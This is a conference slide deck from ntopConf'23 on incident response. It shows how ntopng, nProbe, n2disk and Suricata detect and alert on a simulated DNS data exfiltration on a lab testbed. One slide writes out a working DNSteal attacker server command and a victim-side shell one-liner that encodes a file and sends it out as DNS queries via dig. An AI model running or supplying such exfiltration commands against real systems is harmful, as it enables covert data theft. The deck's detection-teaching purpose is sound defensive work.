ntopConf'23
Incident Response
Using the ntop Suite's Latest Features to Analyze a Network Breach

Alfredo Cardigliano <cardigliano@ntop.org>
In This Session

• Select a security incident case
• Analyze the Network architecture
• Choose what/where to put in place to detect threats
• Configure the Software
• Get notified about attacks
• Analyze the breach
Software We Will Use

- ntopng
- nProbe (Agent)
- n2disk (with Smart Recording)
- Suricata
- Wireshark
- nBox UI
- nDPI
- PF_RING
Example: Data Exfiltration

Compromised Host → Firewall Proxy → Content Filter → Attacker Infrastructure

Internal Resources
Data Exfiltration on DNS

- The DNS protocol is usually:
  - Allowed
  - Not inspected

- Used by several types of attacks:
  - Tunneling (e.g. DNScat)
  - Data exfiltration (e.g. DNSteal)
Data Exfiltration on DNS

Compromised Host

Internal Resources

Firewall Proxy Content Filter

Local DNS Server

Authoritative DNS Server for steal.net

2D9cSgk3LcW5.steal.net
Typical Corporate Deployment

Internal Network → Core Switch → Firewall → Edge Router → Internet
ntopng on Mirror

Internal Network  Core Switch  Firewall  Edge Router  Internet
nProbe on Mirror

Flows

nProbe / Cento

Mirror / SPAN / TAP

Internal Network

Core Switch

Firewall

Edge Router

Internet
nProbe Agents

Flows + Process/User Info

nProbe

Internal Network

Core Switch

Firewall

Edge Router

Internet
Traffic Recording

PCAP

n2disk

Mirror / SPAN / TAP

Internal Network

Core Switch

Firewall

Edge Router

Internet
Intrusion Detection Systems

- Alerts
- Suricata
- Mirror / SPAN / TAP

Network Components:
- Internal Network
- Core Switch
- Firewall
- Edge Router
- Internet
Full-Fledged Monitoring

- Alerts
- PCAP
- Flows
- Internal Network
- Core Switch
- Firewall
- Edge Router
- Internet
Software Configuration
(Live Demo)
```
blackout@devele:~$ cat /etc/suricata/suricata.yaml | grep " filetype"
  filetype: syslog #regular|syslog|unix_dgram|unix_stream|redis
blackout@devele:~$ cat /etc/rsyslog.d/99-remote.conf
  R.* action(type="omfwd" target="127.0.0.1" port="9999" protocol="tcp" action.resumeRetryCount="100" queue.type="linkedList" queue.size="10000")
blackout@devele:~$ sudo suricata -c /etc/suricata/suricata.yaml -I enol
```
## Main Instance

### Interfaces

- **syslog://127.0.0.1:9999**

Network interfaces used for packet capture.

### Local Networks

- **192.168.2.0/24**

Local networks in CIDR format (e.g. 192.168.1.0/24) used to identify local hosts.

### DNS Mode

- **Decode DNS responses and resolve local numeric IPs only**

Address resolution mode used for displaying host names.

### Flow Collection

- **active**

### Collection Endpoint

- **tcp://127.0.0.1:6666c**

Flow collection endpoint (e.g. `zmq://127.0.0.1:5556` or `kafka://192.168.1.1`) to receive flows from nProbe.

### Advanced Settings

```
key = value
-F="clickhouse;127.0.0.1;/ntopng/default;"
-G=/var/run/ntopng.pid
```
# Traffic Recording Settings

## External Interface

| Interface | eno1 |

## Traffic Recording

- Continuous Traffic Recording

Enable continuous recording of raw traffic using n2disk.

## Max Disk Space

| Disk Space | 5 GB |

Maximum disk space used for recorded traffic on disk. 4.84 GB are already in use by this instance.

## Storage Directory

| Directory | /var/lib/ntopng/39/pcap |

## Smart Traffic Recording

- Smart Continuous Traffic Recording

Move recorded traffic matching selected events (e.g. alerts) to a secondary storage for longer data retention.

## Max Smart Disk Space

| Disk Space | 5 GB |

Maximum disk space used for recording event's traffic (Smart Recording) on disk.

## Smart Storage Directory

| Directory | /var/lib/ntopng/39/smart-pcap |

## Storage Utilization

- System (107.48 GB)
- Packet Dumps (4.84 GB)
- Extracted Packets (0 Bytes)

Free (106.19 GB) - Total: 218.51 GB
Smart Recording

nDPI

ntopng

Suricata

Events

n2disk → Cache (Short Retention) → Smart Recording → Archive (Long Retention)
Edit Recipient: SecurityAlertsOnPhone

Name: SecurityAlertsOnPhone

Endpoint: TelegramEndpoint

Channel Id: 321580770

Notifications Type: Alerts
Specify which type of notifications the user want to send to this Recipient (e.g. if alerts is selected only alerts are going to be sent here).

Silence Duplicated Alerts: No
If silenced, the same alert is not delivered to the recipient more than 1 time per hour

Deliver Checks based on: Properties
Choose which alerts to receive, if by properties(e.g. severity) or by specific alert(s)

Alerts: External Alert, Susp DNS Traffic
Select alerts to deliver to the Recipient

Host Pools: Default, Jailed Hosts, LocalPool
Filter alerts matching the selected pools, whenever possible (e.g. Flow and Host alerts).

Active Monitoring: Nothing selected
Filter alerts matching the selected Active Monitoring entries.

Check Apply
Incident Simulation (Live Demo)
Data Exfiltration with DNSteal

• DNSteal is a (simple) fake DNS server that allows you to export files through DNS requests

• No special binary required on the victim, just dig as DNS client, sed, gzip and base64 for the encoding

• Gzip-compressed files

• Customization of subdomains
Testbed

- **Compromised Host**: `develle 192.168.2.134`
- **Attacker's Server**: `ubuntu 192.168.2.221`

DNS A Query: `2D9cS8el3LcW5.data.txt`
DNSteal Example

• Server (Attacker)

$ sudo python2 dnsteal.py 192.168.2.221 -z -v

• Client (Victim)

$f=data.txt; s=4; b=57; c=0; for r in $(for i in $(gzip -c $f | base64 -w0 | sed "s/./{$b}/&\n/g");do if [[ "$c" -lt "$s" ]];then echo -ne "$i-."; c=$((c+1)); else echo -ne "\n$i-."; c=1; fi; done ); do dig @192.168.2.221 `echo -ne $r$f|tr "+" "*"` +short +noidnin +noidnout; done
Testbed

Compromised Host

devle
192.168.2.134

DNS A Query
2D9cS8el3LcW5.data.txt

Attacker's Server

ubuntu
192.168.2.221
Telegram Notification

nBoxStatus


Note:

1. An alert from Suricata is received and notified by ntopng (severity: Error)

2. An alert from ntopng is produced combining the flow risks with the Suricata alert, augmenting the score (severity: Emergency)
<table>
<thead>
<tr>
<th>Issues</th>
<th>Description</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td>DNS Invalid Characters</td>
<td>[Score: 100]</td>
<td></td>
</tr>
<tr>
<td>External Alert</td>
<td>[Score: 100]</td>
<td></td>
</tr>
<tr>
<td>Susp DNS Traffic</td>
<td>[Score: 100]</td>
<td></td>
</tr>
<tr>
<td>Invalid DNS query</td>
<td>[Score: 10]</td>
<td></td>
</tr>
<tr>
<td>Minor Issues</td>
<td>[Score: 10] [DNS Record with zero TTL]</td>
<td></td>
</tr>
</tbody>
</table>

**CommunityId**
1:qd3QTPtcFgRINCGivTeL4gvNRc=

**Client Process Information**

<table>
<thead>
<tr>
<th>User Name</th>
<th>blackout</th>
</tr>
</thead>
<tbody>
<tr>
<td>Process PID/Name</td>
<td><code>/usr/bin/dig [Ppid: 4084563] [Package Name: bind9-dnsutils]</code></td>
</tr>
<tr>
<td>DNS Query</td>
<td>A NOERROR g4sicjd1awuua2rhgeudhh0a...</td>
</tr>
<tr>
<td>Flow Exporter</td>
<td>192.168.2.134</td>
</tr>
<tr>
<td>Additional Flow Elements</td>
<td></td>
</tr>
<tr>
<td>DNS query transaction Id</td>
<td>10,978</td>
</tr>
<tr>
<td>Suricata Flow ID</td>
<td>1,365,705,463,704,813</td>
</tr>
</tbody>
</table>
Alerts Explorer

---

### Alerts

<table>
<thead>
<tr>
<th>Actions</th>
<th>Date/Time</th>
<th>Score</th>
<th>Category</th>
<th>Application</th>
<th>Alert</th>
<th>Flow</th>
<th>Description</th>
<th>Community</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>10:49:40</td>
<td>320</td>
<td></td>
<td>UDP:DNS DPI</td>
<td>External Alert</td>
<td>devele:37259</td>
<td>Detected DNS alert: Exfiltration [Possible]</td>
<td>1:t/5lxR1TEi</td>
</tr>
</tbody>
</table>
Thank you